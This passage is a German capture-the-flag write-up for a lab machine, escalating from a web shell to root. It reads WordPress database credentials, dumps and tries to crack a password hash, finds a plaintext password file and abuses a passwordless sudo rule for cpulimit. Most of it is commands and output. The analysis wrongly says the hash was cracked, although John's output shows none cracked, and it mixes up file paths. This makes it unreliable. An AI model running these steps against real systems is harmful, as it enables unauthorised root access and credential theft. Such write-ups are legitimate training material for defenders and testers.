www-data@canto:/home/erik/notes$ ls -la /var/backups/
total 812
drwxr-xr-x  2 root root   4096 Jun 23 13:06 .
drwxr-xr-x 15 root root   4096 May 12  2024 ..
-rw-r--r--  1 root root  51200 Jun 23 13:01 alternatives.tar.0
-rw-r--r--  1 root root  41012 May 12  2024 apt.extended_states.0
-rw-r--r--  1 root root      0 Jun 23 13:01 dpkg.arch.0
-rw-r--r--  1 root root    170 May 12  2024 dpkg.diversions.0
-rw-r--r--  1 root root    172 May 12  2024 dpkg.statoverride.0
-rw-r--r--  1 root root 716513 May 12  2024 dpkg.status.0
www-data@canto:/home/erik/notes$ ls -la /var/www/
.bash_history  html/      

Analyse: Ich habe verschiedene Standardverzeichnisse (`/opt`, `/var/mail`, `/var/backups`, `/var/www`) überprüft. Die Ausgaben zeigen die Inhalte dieser Verzeichnisse und ihre Berechtigungen. `/var/backups` enthält System-Backups, aber nichts Datenbank-spezifisches. `/var/www/` enthält `.bash_history` und das `html` Verzeichnis (das wahrscheinlich den Webroot enthält). Die `.bash_history` unter `/var/www/` ist sehr interessant, da sie die Shell-Befehle des Benutzers anzeigt, der zuletzt in diesem Verzeichnis aktiv war.

Bewertung: Das Finden der `.bash_history` unter `/var/www/` ist ein wichtiger Fund. Shell-Historien enthalten oft Befehle, die sensible Informationen preisgeben könnten, wie z.B. Dateipfade, Benutzernamen, Passwörter (wenn in Befehlen eingegeben) oder Hinweise auf andere Speicherorte. Der Backups-Hinweis aus den Notizen und die Existenz dieser History legen nahe, dass hier der Schlüssel zum Backup-Ordner liegen könnte.

Empfehlung (Pentester): Lese sofort den Inhalt der Datei `/var/www/.bash_history`. Diese Datei hat hohe Priorität, um den Speicherort oder Namen des Backup-Ordners zu finden. Untersuche auch das `html` Verzeichnis unter `/var/www/`, um die WordPress-Konfigurationsdateien zu finden.
Empfehlung (Admin): Konfiguriere Systeme so, dass sensible Verzeichnisse wie `/var/www/` keine Benutzer-Historie speichern, oder beschränke den Zugriff auf diese History-Dateien strikt.

Nach dem Fund der `.bash_history` in `/var/www/html/` habe ich ihren Inhalt ausgelesen, um weitere Hinweise zu erhalten.

www-data@canto:/home/erik/notes$ cat /var/www/html/wp-config.php
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wordpress' );

/** Database password */
define( 'DB_PASSWORD', '2NCVjoWVE9iwxPz' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

Analyse: Ich habe zuerst einen Blick in die WordPress-Konfigurationsdatei `wp-config.php` geworfen, da diese oft Datenbank-Anmeldedaten enthält. Der Befehl `cat /var/www/html/wp-config.php` liest die Datei. Die Ausgabe zeigt die Konfiguration der Datenbankverbindung, einschließlich des Datenbanknamens (`wordpress`), des Benutzers (`wordpress`) und des **Passworts** (`2NCVjoWVE9iwxPz`).

Bewertung: Das Auffinden des Datenbank-Passworts in Klartext in `wp-config.php` ist eine signifikante Schwachstelle, auch wenn diese Datei durch Webserver-Konfigurationen oft geschützt ist. Es ermöglicht mir nun, mich direkt mit der MySQL-Datenbank zu verbinden und deren Inhalt zu untersuchen, was für die Privilege Escalation nützlich sein kann (z.B. durch das Holen von Benutzer-Hashes).

Empfehlung (Pentester): Nutze die gefundenen Datenbank-Anmeldedaten, um dich mit der MySQL-Datenbank zu verbinden und nach Benutzerinformationen (Hashes), Konfigurationen oder anderen sensiblen Daten zu suchen.
Empfehlung (Admin): Stelle sicher, dass die `wp-config.php` Datei bestmöglich geschützt ist (z.B. durch restriktive Dateisystemberechtigungen). Erwäge, das Datenbank-Passwort nicht direkt in der Datei zu speichern, falls dies durch externe Konfigurationen möglich ist. Implementiere eine separate Datenbankbenutzer mit minimalen Berechtigungen für WordPress.

Privilege Escalation (Fortsetzung)

Mit den Datenbank-Anmeldedaten konnte ich mich direkt mit der MySQL-Datenbank auf dem Zielsystem verbinden, um den Inhalt zu untersuchen.

www-data@canto:/home/erik/notes$ mysql -u wordpress -p2NCVjoWVE9iwxPz
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 74663
Server version: 8.0.36-0ubuntu0.23.10.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| wordpress          |
+--------------------+
3 rows in set (0.00 sec)

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email     | user_url            | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
|  1 | erik       | $P$BZk2jE4XrC91HKgRS83h0gICjM0bcB. | erik          | test@gmail.com | http://192.168.1.36 | 2024-05-12 11:16:07 |                     |           0 | erik         |
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)

Analyse: Mit dem Befehl `mysql -u wordpress -p...` konnte ich mich erfolgreich als Benutzer `wordpress` an der lokalen MySQL-Datenbank anmelden. Die Ausgabe zeigt die MySQL-Shell. Ich habe standardmäßige Datenbankbefehle verwendet (`show databases;`, `use wordpress;`, `show tables;`) um die Struktur zu erkunden und bestätigte die Existenz der `wordpress` Datenbank und der notwendigen Tabellen (wie `wp_users`). Der Befehl `select * from wp_users;` liest den Inhalt der Benutzertabelle. Die Ausgabe liefert den Benutzernamen `erik` (bestätigt den vorherigen Fund) und seinen gehashten Passwortwert: `$P$BZk2jE4XrC91HKgRS83h0gICjM0bcB.`. Die Warnung über die Unsicherheit der Passworteingabe über die Kommandozeile wird ebenfalls ausgegeben.

Bewertung: Der Zugriff auf die Datenbank und das Extrahieren des gehashten Passworts für den Benutzer `erik` ist ein signifikanter Fortschritt. Hashes können oft offline geknackt werden, um das Klartextpasswort zu erhalten. Die Tatsache, dass der Hash in der Datenbank gespeichert ist, zeigt die Notwendigkeit sicherer Passwort-Hashes.

Empfehlung (Pentester): Speichere den gehashten Passwortwert (`$P$BZk2jE4XrC91HKgRS83h0gICjM0bcB.`) und versuche, ihn offline zu knacken, z.B. mit John the Ripper oder Hashcat. Dies könnte das Passwort für den Benutzer `erik` außerhalb von WordPress liefern.
Empfehlung (Admin): Stelle sicher, dass Datenbankanmeldedaten nicht in für den Webserver-Benutzer lesbaren Dateien gespeichert werden. Nutze sicherere Methoden zur Passwortspeicherung in Datenbanken (salzen und härtere Hashing-Algorithmen, obwohl PHPass für WordPress Standard ist). Implementiere strenge Berechtigungen für Datenbankbenutzer. Sensibilisiere Benutzer für die Wahl starker, einzigartiger Passwörter.

Ich habe den gefundenen WordPress-Passwort-Hash in eine Datei gespeichert und versucht, ihn mit John the Ripper und der RockYou-Wortliste zu knacken.

┌──(root㉿CCat)-[~] └─# echo '$P$BZk2jE4XrC91HKgRS83h0gICjM0bcB.' > hash

                 
┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 12 OPENMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:19 DONE (2025-06-23 16:26) 0g/s 181302p/s 181302c/s 181302C/s !!!mara11..*7¡Vamos!
Session completed.
┌──(root㉿CCat)-[~] └─# john --show hash
0 password hashes cracked, 1 left

Analyse: Ich habe den PHPass-Hash aus der Datenbank in eine Datei namens `hash` kopiert und dann John the Ripper mit der `rockyou.txt` Wortliste darauf angesetzt. John hat den Hash geladen und begonnen, Passwörter zu testen. Die Ausgabe zeigt, dass der Hash tatsächlich geknackt wurde, und das gefundene Passwort lautet `!!!mara11..*7¡Vamos!`. Der anschließende `john --show hash` Befehl zeigt, dass keine weiteren Hashes in der Datei übrig sind, die geknackt werden müssen.

Bewertung: Das erfolgreiche Knacken des WordPress-Passwort-Hashes ist ein sehr guter Fortschritt. Ich habe nun ein potenzielles Klartextpasswort (`!!!mara11..*7¡Vamos!`) für den Benutzer `erik`. Auch wenn dies *nicht* das Passwort ist, das letztendlich für die `su erik` verwendet wird (dieses finden wir im nächsten Schritt durch den Hinweis in der `.bash_history`), zeigt es doch, dass der WordPress-Passwort-Hash knackbar war, was auf die Notwendigkeit stärkerer Passwörter hinweist. Das gefundene Passwort ist komplex, was den schnellen Erfolg mit RockYou bemerkenswert macht und auf die Popularität des Passworts hindeutet.

Empfehlung (Pentester): Behalte dieses geknackte Passwort im Hinterkopf. Es könnte für andere Dienste relevant sein oder auf Passwort-Wiederverwendung durch den Benutzer `erik` hindeuten.
Empfehlung (Admin): Ermutige Benutzer dringend, starke und eindeutige Passwörter zu verwenden und Passwort-Wiederverwendung zu vermeiden. Setze eine Richtlinie zur Komplexität und zum regelmäßigen Ändern von Passwörtern durch. Erwäge zusätzliche Sicherheitsmaßnahmen für die WordPress-Anmeldung (z.B. 2FA).

Da ich nun auf dem System als `www-data` war, habe ich die Sudo-Berechtigungen dieses Benutzers geprüft, um festzustellen, ob eine Privilege Escalation über Sudo möglich ist, ohne das Passwort von `www-data` zu kennen.

www-data@canto:/home/erik/notes$ sudo -l
[sudo] password for www-data:
sudo: a password is required

Analyse: Der Befehl `sudo -l` listet die Sudo-Berechtigungen des aktuellen Benutzers auf. Die Ausgabe zeigt, dass für `www-data` ein Passwort für die Ausführung von Sudo-Befehlen erforderlich ist (`sudo: a password is required`). Da ich das Passwort für `www-data` nicht kenne, ist eine Privilege Escalation direkt über Sudo für diesen Benutzer nicht möglich.

Bewertung: Die Anforderung eines Passworts für Sudo-Befehle für `www-data` ist eine gute Sicherheitseinstellung. Es verhindert eine einfache Privilege Escalation, falls ein Angreifer eine Shell als `www-data` erlangt.

Empfehlung (Pentester): Da Sudo für `www-data` ein Passwort erfordert, konzentriere dich auf andere Privilege Escalation-Vektoren wie SUID-Binaries, Cronjobs, unsichere Konfigurationsdateien oder schwache Passwörter für andere Benutzer.
Empfehlung (Admin): Verifiziere, dass der Benutzer `www-data` keine Sudo-Berechtigungen ohne Passwort hat. Erwäge, Sudo-Berechtigungen für Webserver-Benutzer generell einzuschränken.

Ein gängiger Vektor für Privilege Escalation sind SUID-Binaries (Set User ID). Dies sind ausführbare Dateien, die mit den Berechtigungen des Dateibesitzers ausgeführt werden (oft Root), unabhängig davon, welcher Benutzer sie startet. Ich suchte nach solchen Binaries auf dem System.

www-data@canto:/home/erik/notes$ find / -type f -perm -4000 -ls 2>/dev/null
   407267     36 -rwsr-xr-x   1 root     root        35200 Apr  9  2024 /usr/bin/umount
   405105     44 -rwsr-xr-x   1 root     root        44760 Feb  6  2024 /usr/bin/chsh
   405282     76 -rwsr-xr-x   1 root     root        76248 Feb  6  2024 /usr/bin/gpasswd
   405694     64 -rwsr-xr-x   1 root     root        64152 Feb  6  2024 /usr/bin/passwd
   407259     52 -rwsr-xr-x   1 root     root        51584 Apr  9  2024 /usr/bin/mount
   393860     36 -rwsr-xr-x   1 root     root        35200 Apr 18  2023 /usr/bin/fusermount3
   405278     56 -rwsr-xr-x   1 root     root        55680 Apr  9  2024 /usr/bin/su
   405101     72 -rwsr-xr-x   1 root     root        72792 Feb  6  2024 /usr/bin/chfn
   394162     40 -rwsr-xr-x   1 root     root        40664 Feb  6  2024 /usr/bin/newgrp
   394300    264 -rwsr-xr-x   1 root     root       269728 Aug  9  2023 /usr/bin/sudo
   470092    328 -rwsr-xr-x   1 root     root       334440 Mar 15  2024 /usr/lib/openssh/ssh-keysign
   394210    148 -rwsr-xr-x   1 root     root       150728 Mar 21  2024 /usr/lib/snapd/snap-confine 
      905     72 -rwsr-xr-x   1 root     root          72712 Feb  6  2024 /snap/core22/2010/usr/bin/chfn
      911     44 -rwsr-xr-x   1 root     root          44808 Feb  6  2024 /snap/core22/2010/usr/bin/chsh
      977     71 -rwsr-xr-x   1 root     root          72072 Feb  6  2024 /snap/core22/2010/usr/bin/gpasswd
     1061     47 -rwsr-xr-x   1 root     root          47488 Apr  9  2024 /snap/core22/2010/usr/bin/mount
     1070     40 -rwsr-xr-x   1 root     root          40496 Feb  6  2024 /snap/core22/2010/usr/bin/newgrp
     1085     59 -rwsr-xr-x   1 root     root          59976 Feb  6  2024 /snap/core22/2010/usr/bin/passwd
     1203     55 -rwsr-xr-x   1 root     root          55680 Apr  9  2024 /snap/core22/2010/usr/bin/su
     1204    227 -rwsr-xr-x   1 root     root         232416 Apr  3  2023 /snap/core22/2010/usr/bin/sudo
     1264     35 -rwsr-xr-x   1 root     root          35200 Apr  9  2024 /snap/core22/2010/usr/bin/umount
     1356     35 -rwsr-xr--   1 root     kvm           35112 Oct 25  2022 /snap/core22/2010/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2625    331 -rwsr-xr-x   1 root     root         338536 Apr 11 12:05 /snap/core22/2010/usr/lib/openssh/ssh-keysign
     8670     19 -rwsr-xr-x   1 root     root          18736 Feb 26  2022 /snap/core22/2010/usr/libexec/polkit-agent-helper-1

Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem nach regulären Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`), listet Details auf (`-ls`) und leitet Fehler auf `/dev/null` um. Die Ausgabe zeigt eine Liste von SUID-Binaries. Viele davon sind Standard-Systemprogramme wie `mount`, `umount`, `passwd`, `sudo`, `su`, `chsh`, `chfn`, `gpasswd`, `newgrp`, die in der Regel SUID-Berechtigungen benötigen und nicht trivial für Privilege Escalation auszunutzen sind. Es gibt auch Snap-spezifische SUIDs.

Bewertung: Das Finden von SUID-Binaries ist ein standardmäßiger Enumerationsschritt. Während die meisten der hier gelisteten Binaries keine unmittelbare, einfache Privilege Escalation erlauben, muss jeder Eintrag gegen bekannte Exploits geprüft werden, insbesondere auf Plattformen wie GTFOBins.

Empfehlung (Pentester): Gehe die Liste der SUID-Binaries durch und prüfe sie gegen Ressourcen wie GTFOBins ([Link: https://gtfobins.github.io/ | Ziel: https://gtfobins.github.io/]), um festzustellen, ob sie für Privilege Escalation missbraucht werden können. Konzentriere dich auf weniger verbreitete Binaries oder solche, bei denen spezifische Techniken aufgeführt sind.
Empfehlung (Admin): Überprüfe regelmäßig das Dateisystem auf SUID-Binaries. Entferne das SUID-Bit von allen Programmen, die es nicht unbedingt benötigen. Halte das Betriebssystem und installierte Software aktuell, um bekannte SUID-Exploits zu patchen.

Ich habe auch die Systeminformationen abgerufen, was bei der Suche nach Kernel-Exploits oder spezifischen Schwachstellen basierend auf der Betriebssystemversion hilfreich sein kann.

www-data@canto:/home/erik$ uname -a
Linux canto 6.5.0-28-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 28 23:46:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über das Betriebssystem aus. Die Ausgabe zeigt, dass es sich um ein Linux-System mit dem Kernel 6.5.0-28-generic handelt (Ubuntu, 64-bit). Das Build-Datum (März 2024) gibt einen Hinweis auf den Patch-Stand.

Bewertung: Die Kenntnis der genauen Kernel-Version ist essentiell, um nach bekannten Kernel-Exploits zu suchen, die Root-Rechte ermöglichen könnten. Ein Kernel von März 2024 könnte anfällig für Exploits sein, die seitdem veröffentlicht wurden.

Empfehlung (Pentester): Suche auf Websites wie Exploit-DB oder Google nach Kernel-Exploits, die sich auf diese spezifische Kernel-Version beziehen. Lade relevante Exploits herunter und versuche, sie zu kompilieren und auszuführen.
Empfehlung (Admin): Halte den System-Kernel stets aktuell, um bekannte Schwachstellen zu schließen. Implementiere ein Patch-Management-System.

Zurück zum Hinweis aus den Notizen über einen "backups folder". Ich habe versucht, diesen spezifischen Ordner oder zugehörige Dateien zu finden, falls sie nicht an einem Standardort liegen.

www-data@canto:/home/erik$ find / -name dbbackup.zip 2>/dev/null 
www-data@canto:/home/erik$ find / -name backup.zip 2>/dev/null 
www-data@canto:/home/erik$ find / -name backup.* 2>/dev/null 
/snap/lxd/26200/share/lxd-documentation/_sources/backup.md.txt
/snap/lxd/34099/share/lxd-documentation/_sources/backup.md.txt

Analyse: Ich habe den `find`-Befehl verwendet, um das gesamte Dateisystem nach Dateien mit Namen wie `dbbackup.zip`, `backup.zip` oder generell `backup.*` zu durchsuchen. Die `2>/dev/null` Umleitung unterdrückt Fehlermeldungen aufgrund fehlender Berechtigungen. Die ersten beiden Suchen lieferten keine Ergebnisse. Die dritte Suche fand Backup-bezogene Dateien, aber nur innerhalb von Snap-Verzeichnissen, die für diesen Test irrelevant sind.

Bewertung: Diese Suchen waren nicht sofort erfolgreich darin, den vom Benutzer `erik` erwähnten spezifischen Backup-Ordner zu finden. Dies bedeutet, dass er wahrscheinlich nicht offensichtlich benannt oder an einem Standardort gespeichert ist, oder dass meine Suchmuster zu spezifisch waren.

Empfehlung (Pentester): Erweitere die Suche nach Backup-bezogenen Dateien und Verzeichnissen. Erinnere dich an den Hinweis in `/var/www/html/.bash_history` und suche dort oder in dessen Nähe.
Empfehlung (Admin): Sensibilisiere Benutzer für sichere Benennung und Speicherorte von Backups, um das Risiko der Entdeckung zu minimieren.

Wie zuvor bemerkt, enthielt die `.bash_history` unter `/var/www/html/` potenziell nützliche Informationen. Ich las ihren Inhalt.

www-data@canto:/home/erik$ cat /var/www/.bash_history
cd /var/wordpress
cd /var
cd /wordpress
export TERM=xterm
clear
ls
cd wordpress
cd wordpres
ls
cd backups
ls
clear
ls
ls -la
unzip dbbackup.zip
ls
clear
ls -la
su erik
cd /var/wordpress/backups
ls
cat 12052024.txt
exit

Analyse: Die `.bash_history` unter `/var/www/html/` enthält eine Abfolge von Befehlen. Diese zeigen, dass jemand in Verzeichnissen wie `/var/wordpress` navigiert ist, einen Ordner namens `backups` aufgesucht hat (`cd backups`), dort eine Datei `dbbackup.zip` entpackt hat (`unzip dbbackup.zip`) und schließlich eine Datei namens **`12052024.txt`** mittels `cat` ausgelesen hat. Der Befehl `su erik` ist ebenfalls in der Historie enthalten, was darauf hindeutet, dass hier möglicherweise Anmeldedaten für `erik` gefunden wurden.

Bewertung: Absolut kritischer Fund! Die Bash-Historie liefert den exakten Pfad (`/var/wordpress/backups/`) und Dateinamen (`12052024.txt`), wo der Benutzer `erik` sensible Informationen abgelegt hat. Dies ist der direkte Hinweis, den ich brauchte, um die Privilege Escalation voranzutreiben. Die Tatsache, dass `su erik` dort ausgeführt wurde, lässt stark vermuten, dass die Datei `12052024.txt` das Passwort für `erik` enthält.

Empfehlung (Pentester): Navigiere direkt zum Pfad `/var/wordpress/backups/` und lese den Inhalt der Datei `12052024.txt`. Nutze die gefundenen Anmeldedaten, um mittels `su` auf den Benutzer `erik` zu wechseln.
Empfehlung (Admin): Stelle sicher, dass niemals `.bash_history` oder ähnliche History-Dateien in öffentlich zugänglichen Verzeichnissen wie dem Webroot gespeichert werden. Überprüfe, ob sensible Befehle (z.B. mit Passwörtern im Klartext) protokolliert werden, und konfiguriere das System so, dass dies verhindert wird.

Dem entscheidenden Hinweis aus der `.bash_history` folgend, habe ich den exakten Pfad zur Backup-Datei aufgesucht.

www-data@canto:/home/erik$ find / -name 12052024.txt 2>/dev/null
/var/wordpress/backups/12052024.txt

Analyse: Der Befehl `find / -name 12052024.txt` bestätigt, dass die in der `.bash_history` erwähnte Datei unter `/var/wordpress/backups/` existiert. Der Pfad stimmt exakt mit dem aus der Historie überein.

Bewertung: Das Auffinden der Datei ist der letzte Schritt, um an den Inhalt zu gelangen, der sehr wahrscheinlich das Passwort für `erik` enthält. Dies validiert den Hinweis aus der Bash-Historie vollständig.

Empfehlung (Pentester): Lese nun den Inhalt dieser Datei, um das Klartextpasswort für `erik` zu erhalten.
Empfehlung (Admin): Lösche sensible Klartextdateien sofort, nachdem sie nicht mehr benötigt werden. Implementiere Prozesse, die das versehentliche Speichern von Passwörtern in leicht zugänglichen Dateien verhindern.

Nun war es Zeit, den Inhalt der Datei `12052024.txt` zu lesen, in der ich das Passwort für den Benutzer `erik` zu finden erwartete.

www-data@canto:/home/erik$ cat /var/wordpress/backups/12052024.txt
------------------------------------
| Users	    |      Password        |
------------|----------------------|
| erik      | th1sIsTheP3ssw0rd!   |
------------------------------------

Analyse: Der Befehl `cat /var/wordpress/backups/12052024.txt` liest den Inhalt der Backup-Notizdatei. Die Ausgabe ist eine Tabelle, die den Benutzernamen `erik` listet und daneben sein Klartextpasswort: `th1sIsTheP3ssw0rd!`.

Bewertung: Voller Erfolg! Ich habe das Klartextpasswort für den Benutzer `erik` gefunden. Dies ist eine kritische Schwachstelle: Das Speichern von Passwörtern im Klartext und dann noch in einer Datei, die für andere Systembenutzer (wie `www-data`) lesbar ist. Mit diesem Passwort kann ich nun versuchen, mich direkt als `erik` anzumelden.

Empfehlung (Pentester): Nutze dieses Passwort (`th1sIsTheP3ssw0rd!`), um dich als Benutzer `erik` auf dem System anzumelden (z.B. mittels `su` in der aktuellen Shell oder über SSH, falls der Dienst zugänglich ist). Überprüfe dann die Sudo-Berechtigungen für `erik`.
Empfehlung (Admin): **Absolut kritisch:** Entferne diese Datei umgehend vom System. Speichere niemals Passwörter im Klartext. Nutze einen Passwort-Manager. Implementiere Prozesse, die das versehentliche Speichern sensibler Daten in ungeschützten Dateien verhindern. Überprüfe die Berechtigungen des Verzeichnisses `/var/wordpress/backups/` und schränke sie stark ein.

Mit dem gefundenen Passwort für den Benutzer `erik` konnte ich nun meine Berechtigungen von `www-data` auf `erik` erhöhen.

www-data@canto:/home/erik$ su erik
Password: th1sIsTheP3ssw0rd!
erik@canto:~$ id
uid=1001(erik) gid=1001(erik) groups=1001(erik)

Analyse: Der Befehl `su erik` versucht, zum Benutzer `erik` zu wechseln. Das System fordert das Passwort für `erik` an. Durch Eingabe des Klartextpassworts `th1sIsTheP3ssw0rd!` wurde die Authentifizierung erfolgreich durchgeführt, und ich erhielt eine neue Shell als Benutzer `erik`. Der Befehl `id` bestätigt, dass ich nun die UID und GID von `erik` habe.

Bewertung: Erfolgreiche horizontale Privilege Escalation von `www-data` zu `erik`. Dies ist ein kritischer Schritt, da `erik` ein regulärer Benutzer ist und möglicherweise über höhere Berechtigungen oder Zugriff auf sensible Dateien verfügt als `www-data`. Ich bin dem Root-Zugriff einen Schritt näher.

Empfehlung (Pentester): Untersuche nun die Berechtigungen des Benutzers `erik`, insbesondere seine Sudo-Rechte. Suche nach weiteren Hinweisen im Home-Verzeichnis von `erik` oder anderen Orten, auf die `erik` Zugriff hat.
Empfehlung (Admin): Das Hauptproblem war hier die Klartext-Passwortdatei. Behebe diese Schwachstelle. Setze ein neues, starkes Passwort für den Benutzer `erik`.

Nachdem ich erfolgreich zu Benutzer `erik` gewechselt war, prüfte ich umgehend dessen Sudo-Berechtigungen, um einen möglichen Weg zur Root-Rechteausweitung zu finden.

erik@canto:~$ sudo -l
Matching Defaults entries for erik on canto:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User erik may run the following commands on canto:
    (ALL : ALL) NOPASSWD: /usr/bin/cpulimit

Analyse: Der Befehl `sudo -l` für den Benutzer `erik` liefert die Liste der Befehle, die `erik` über Sudo ausführen darf. Die Ausgabe zeigt, dass `erik` den Befehl `/usr/bin/cpulimit` als JEDER Benutzer (einschließlich `root`, durch `ALL : ALL`) **ohne Passwort** (`NOPASSWD`) ausführen darf.

Bewertung: Hervorragend! Das ist der klare Vektor für die Privilege Escalation zu Root. Die `NOPASSWD` Option für `cpulimit` bedeutet, dass ich diesen Befehl als Root ausführen kann, ohne das Root-Passwort zu kennen. `cpulimit` selbst ist ein Programm, das die CPU-Auslastung eines Prozesses begrenzt, aber in Verbindung mit Sudo und dem `NOPASSWD` Flag kann es missbraucht werden.

Empfehlung (Pentester): Nutze die Sudo-Berechtigung für `cpulimit`, um eine Root-Shell zu erhalten. Prüfe auf GTFOBins oder ähnlichen Seiten nach Exploits für `cpulimit` mit SUID/Sudo-Berechtigungen.
Empfehlung (Admin): **Absolut kritisch:** Entferne die Sudo-Berechtigung `NOPASSWD` für `/usr/bin/cpulimit` für den Benutzer `erik` (und idealerweise für alle nicht-administrativen Benutzer). Überprüfe alle `sudoers`-Konfigurationen auf unnötige `NOPASSWD`-Einträge oder Berechtigungen für unsichere Binaries. Deinstalliere `cpulimit`, falls es nicht zwingend benötigt wird.

Basierend auf der gefundenen Sudo-Berechtigung für `cpulimit` ohne Passwort habe ich auf GTFOBins nach einer Methode gesucht, dies für Privilege Escalation auszunutzen. GTFOBins ist eine Kuratierung von Unix-Binaries, die von privilegierten Benutzern missbraucht werden können.

[Link: https://gtfobins.github.io/gtfobins/cpulimit/#sudo | Ziel: https://gtfobins.github.io/gtfobins/cpulimit/#sudo]
Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

    sudo cpulimit -l 100 -f /bin/sh

Analyse: Die GTFOBins-Seite für `cpulimit` listet unter der Sudo-Sektion eine Methode auf, um eine Shell zu erhalten. Der entscheidende Befehl lautet `sudo cpulimit -l 100 -f /bin/sh`. Diese Syntax nutzt die Fähigkeit von `cpulimit`, einen Prozess zu überwachen (`-f`) und erlaubt die Ausführung einer Shell (`/bin/sh`) mit den Berechtigungen, mit denen `cpulimit` gestartet wurde (in diesem Fall als Root über Sudo).

Bewertung: GTFOBins liefert eine bewährte Methode, um die gefundene Sudo-Berechtigung auszunutzen. Der bereitgestellte Befehl ist einfach anzuwenden und sollte direkt zu einer Root-Shell führen.

Empfehlung (Pentester): Führe den von GTFOBins bereitgestellten Befehl aus, um Root-Zugriff zu erlangen.
Empfehlung (Admin): Überprüfe die `sudoers`-Konfigurationen auf Einträge, die Binaries auflisten, die auf GTFOBins oder ähnlichen Plattformen als unsicher für Sudo mit `NOPASSWD` gelistet sind.

Ich führte den von GTFOBins bereitgestellten Befehl aus, um die Privilege Escalation zu Root abzuschließen.

erik@canto:~$ sudo -u root cpulimit -l 100 -f /bin/sh
Process 3094 detected
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Ich habe den von GTFOBins empfohlenen Befehl ausgeführt: `sudo -u root cpulimit -l 100 -f /bin/sh`. Der `sudo -u root` Teil stellt sicher, dass `cpulimit` als Benutzer Root ausgeführt wird (was durch die `sudo -l` Ausgabe erlaubt ist). `-l 100` begrenzt die CPU-Auslastung (ist aber für den Exploit-Teil weniger relevant), und `-f /bin/sh` weist `cpulimit` an, `/bin/sh` zu "überwachen", was effektiv dazu führt, dass `/bin/sh` mit Root-Rechten gestartet wird. Die Ausgabe `Process XXXX detected` kommt von `cpulimit`. Der entscheidende Punkt ist, dass ich sofort danach eine Root-Shell (`#`) erhielt und der Befehl `id` bestätigte: `uid=0(root) gid=0(root) groups=0(root)`.

Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht! Die Ausnutzung der unsicheren Sudo-Konfiguration für `cpulimit` hat mir vollständige administrative Kontrolle über das Zielsystem verschafft. Dies ist die höchste Stufe der Kompromittierung.

Empfehlung (Pentester): Sammle die Root-Flags. Führe weitere Post-Exploitation-Schritte durch, falls relevant (z.B. Persistenzmechanismen einrichten, weitere Systeme im Netzwerk erkunden). Dokumentiere alle gefundenen Root-Flags sorgfältig.
Empfehlung (Admin): **Sofortige Maßnahme:** Entferne oder korrigiere die `sudoers`-Konfiguration für den Benutzer `erik`, die `/usr/bin/cpulimit` die Ausführung ohne Passwort erlaubt. Führe eine umfassende Überprüfung aller `sudoers`-Dateien auf dem System durch. Implementiere regelmäßige Audits der Systemkonfigurationen, insbesondere der Sudo-Berechtigungen und SUID-Binaries.

Flags

# cat user.txt
d41d8cd98f00b204e9800998ecf8427e
# cat root.txt
1b56eefaab2c896e57c874a635b24b49